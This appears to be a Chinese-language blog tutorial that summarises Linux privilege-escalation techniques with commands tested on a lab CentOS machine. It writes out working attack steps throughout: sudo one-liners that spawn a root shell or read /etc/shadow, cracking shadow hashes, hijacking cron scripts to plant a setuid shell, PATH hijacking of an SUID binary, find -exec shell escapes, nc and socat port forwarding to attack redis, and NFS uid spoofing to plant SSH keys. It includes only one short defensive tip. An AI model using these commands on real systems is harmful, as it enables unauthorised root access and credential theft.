这篇讲一些关于 Linux 提权的方法,也是参考网上的一些提权方式,对于刚接触 Linux 提权的伙伴来说,需要花不少时间去理解,所以这里是以个人通俗易懂的思路去写,希望能帮到热爱学习的朋友,先写这些提权方法。若有更好的提权方式,欢迎老哥们在评论里补充一下。
提权可能需要反弹 bash ,因为脚本语言无法形成管道,需要创造一个管道才能进行后续的操作,比如溢出成功之后返回一个 root 权限的 shell,脚本语言执行完就完了,不会返回一个可以操作的 root shell,之前不太懂反弹shell的作用,后来在社区评论里看到了解答。
提权方式总结
1、利用内核栈溢出提权
1.1 信息收集
uname -a Linux localhost.localdomain 3.10.0-693.el7.x86_64 #1 SMP Tue Aug 22 21:09:27 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
内核版本 3.10.0, CPU 架构 x86_64
cat /etc/*-release CentOS Linux release 7.4.1708 (Core) NAME="CentOS Linux" VERSION="7 (Core)" ID="centos" ID_LIKE="rhel fedora" VERSION_ID="7" PRETTY_NAME="CentOS Linux 7 (Core)"
searchsploit
linux 3.10 CentOS Linux 7
1.2 linux-exploit-suggester-2
在我的虚拟机 CentOS 执行时,发现存在脏牛提权漏洞
2、明文 root 密码提权
passwd 储存了用户,全用户可读,root 可写 shadow 存储密码的 hash,仅 root 可读写
passwd 文件:
daemon
:x:
1:1:daemon:/usr/sbin:/bin/sh
passwd 由冒号分割,第一列是用户名,第二列是密码,x 代表密码 hash 被放在 shadow 里面了(这样非 root 就看不到了)。而 shadow 里面最重要的就是密码的 hash
测试
检测 passwd、shadow 是否可写
ls -l passwd shadow
1、passwd 可写
从上面图片里看到,passwd 文件是可写的,将 passwd 的 root 密码 X 替换为我们自己的 hash,如替换为自己 linux 里的 hash,可修改目标的 root 密码
2、shadow 可读
把 shadow 里面 root 的 hash 辅助出来,用 hash、john 爆破
3、密码复用
如数据库、后台 web 密码,可能就是 root 密码
4、sudo 滥用
sudo 大家经常遇到,比如执行权限不够时加 sudo 执行,sudo 是让普通用户使用超级用户的命令。其配置文件为 /etc/sudoers,文件定义可以执行 sudo 的账户、定义某个应用程序用 root 访问、是否需要密码验证。
查看可以执行哪些命令,即不需要知道 root 密码时,需验证自身普通权限的密码
sudo -l
可以支持所有命令,下面参考这个网址:
这里以 awk、man、curl 举个栗子
1、su
sudo su
输入普通权限用户密码,切换为 root
2、awk
sudo awk 'BEGIN {system("/bin/sh")}'
3、man
sudo man man
4、curl
sudo curl file:///etc/shadow
5、su root 被禁止解决
拿到 root 密码,端口转发,代理,但防护墙禁止其他人登录 root,在原来的低权限 shell,也无法 sudo 切换 root
因为出于安全考虑,linux 要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。
所以 sudo 在你输入密码的时候本质上是读取了键盘,而不是读取 bash 里面输入的字符。
测试:
python 语法:
python -c 'import pty;pty.spawn("/bin/sh")'
交互 shell,简单 shell 简单 shell 中直接按删除键是不行的,要按住 ctrl 键之后,再按住删除键才可以,其他键的使用也一样
$ sudo su
6、计划任务
ls -l /etc/cron*
非 root 权限的用户是不可以列出 root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被列出,并且默认这些程序以 root 权限执行
重写 python
若这些计划任务的脚本可写,则编辑为 shell
crontab 文件是计划任务的配置,此文件只有 root 可写,我们不需要去修改 crontab,只查看里面的有哪些任务,比如定时执行了哪些脚本,再查看对应脚本的权限,若可写,则修改它。
测试:
cat /etc/crontab
我没有设置定时任务,模拟一下,如果里面有个 1.python
ls -al /tmp/1.py //查看是否有w权限
cat -al /tmp/1.py //写入代码 import os os.system('cp /bin/sh /tmp/sh') os.system('chmod u+s /tmp/sh')
当到了计划执行时间,就会以 root 权限执行 1.py,即将 /bin/sh 复制到 /tmp/sh
原本是没有 /tmp/sh
当执行 sudo python 1.py
时,就会复制到 /tmp/sh
我们只需要进入 /tmp,执行 ./sh 可获取 root
这里的 cp 命令是基于 SUID,给 1.py 设置 SUID 权限。可以结合环境变量方式,把 /tmp/sh 添加到环境变量,无需进入 /tmp/sh 去执行 ./sh,执行 sh 变为 root。也可以在 1.py 写入反弹 shell 的 python 代码,此时反弹的 shell 具有 root 权限
1、tab 通配符
为了测试,我先手动添加一条任务,每隔一分钟打包 /aaa 目录下的文件,到 /var/backups/aaa.tgz
cat /etc/crontab */1* * * * root tar -zcf /var/backups/aaa.tgz /tmp/aaa/*
防范:
crontab 任务千万不要写到 /etc/crontab 文件里。通过 crontab -e 去创建,让他写到默认的 /var/spool/cron下;创建任务时,避免使用 root 去创建任务,若用 root 创建任务,注意设置权限,避免 root 权限执行任务。
7、SUID
SUID 是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行【ls 查看时有 s 属性才支持 SUID】,
如 passwd 文件,普通用户不能直接读写,但可通过 passwd 命令,以 root 权限修改 shadow(因为 shadow 是 root 权限文件,修改会以 root 权限修改)
c 源代码:
#include<stdlib.h>
#include <unistd.h>
int main()
{
setuid(0);//run as root
system("id");
system("cat /etc/shadow");
}
编译后 ls 查看
ls -l -rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp
注意 s 属性,表示这个程序有 SUID 的属性。
演示程序只能执行 cat /etc/shadow,以普通权限执行 ./suid-exp,也能看到 shadow 内容
查找 SUID 文件
find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null
看到刚刚创建的 suid, /tmp/suid-exp
8、环境变量劫持-SUID 扩展
通过劫持环境变量,达到执行任意命令的目的。上述只是执行 cat 命令,但我们最终目的是为了提权,而不是以 root 权限只执行单个 cat 命令。
linux 下执行命令,如 cat,是去环境变量查找 ,将 cat 替换
测试:
把新建一个 /tmp/cat,而 cat 内容为我们脚本,当用户执行 cat 命令,cat /etc/shadow,则执行我们的脚本
cat >> /tmp/ls <<EOF
#!/usr/bin/python
print "this is not the true cat"
print "here is a root shell!"
import pty;pty.spawn("/bin/sh")
EOF
此时再执行 ./suid-exp,可执行我们定义的脚本,因为 suid-exp 以管理员执行 cat 命令,而 linux 的 system 是根据环境变量来执行 cat 的,原本是默认的 cat,当修改了之后,cat 就不再是原来的 cat,而是我们自己定义的脚本,从而达到执行任意命令的目的,即可去提权。
9、管理员配置错误
把不带 setuid(0); 代码的程序配置了 SUID,比如上面看到的 find 命令,当执行 find 时是以 root 执行,在 find 的exec 后面加上我们自己的脚本即可
find 文件 exec '/bin/sh' \ ;
mkdir abc //创建空文件 abc
find abc -exec '/bin/sh' \;
不过这里是失败的,没有配置错误
10、docker 组提权
docker组用户提权,目的是利用docker组的用户来提权,因为docker组用户在容器下为root权限,通过挂载方式在容器下给本机添加sudo权限的用户,从而可以利用sudo命令。如果没有拥有sudo权限的用户,是无法执行sudo命令,在kali下会提示用户不在sudoers等提示。
可以参考我的这篇文章: 《Docker提权实战测试》 https://www.secquan.org/Discuss/1070515
freebuf 也有https://www.freebuf.com/articles/system/170783.html
11、服务漏洞
netstat -antup #查看各种网络服务
然后把敏感端口转发出来,用本地的工具进行攻击,可能拿到远程 root,即通过漏洞拿到 root 权限 windows 用 lcx 做端口转发,linux 用 nc、socat 做端口转发
1、redis 反弹 shell
nc 单向转发
nc -l 12345 | nc 192.168.191.170 80
双向转发
mkfifo backpipe nc -l 12345 0<backpipe | nc 192.168.191.170 80 1>backpipe
双向转发本人测试失败,希望大佬们提供解决的办法
socat
测试本地转发,service apache2 start,把 80 端口转发到其它端口,看是否能访问,这里测试成功
socat TCP-LISTEN:8080,fork TCP:192.168.191.170:80
这里可以参考这篇文章,作者先执行 ps -fu root,发现开放 redis 端口,把 redis 端口转发出来,利用 redis 反弹远程的 root shell。一次简单 linux 提权:
2、nfs 未授权 查看可以访问的 nfs 目录
showmount -e 192.168.111.122
将 /home/peter 挂载到本地 /mnt/peter 查看
mount 192.168.111.122:/home/peter /mnt/peter cd /mnt/peter
ls -la,发现没有写权限,但只要 uid 为 1001,gid 为 1005 的用户就可以,由于是挂载到本地,本地创建一个这样账户,即可对此目录进行写权限
ls -l /mnt/,发现 uid 为 1001,gid 为 1005
groupadd -g 1055 boogle,创建 gid 为 1055 的组 boogle
adduser boogle -uid 1001 -gid 1005
此时可以写入文件,则生成 boogle 的 ssh 公私钥,
先在 /mnt/peter/ 目录创建 /.ssh/ 目录
本地生成的 id_rsa.pub 是在 /root/.ssh/ 目录下,复制到 /mnt/peter/.ssh/authorized_keys,如下图:
总结:
ls -la,发现没有写权限,但只要 uid 为 1001,gid 为 1005 的用户就可以,由于是挂载到本地,本地创建一个这样的账户,即可对此目录进行写权限,下一步对此目录写入 ssh 公钥,以公私钥的方式登录 ssh,ssh peter@192.168.111.122 免密登录,获取 root 权限。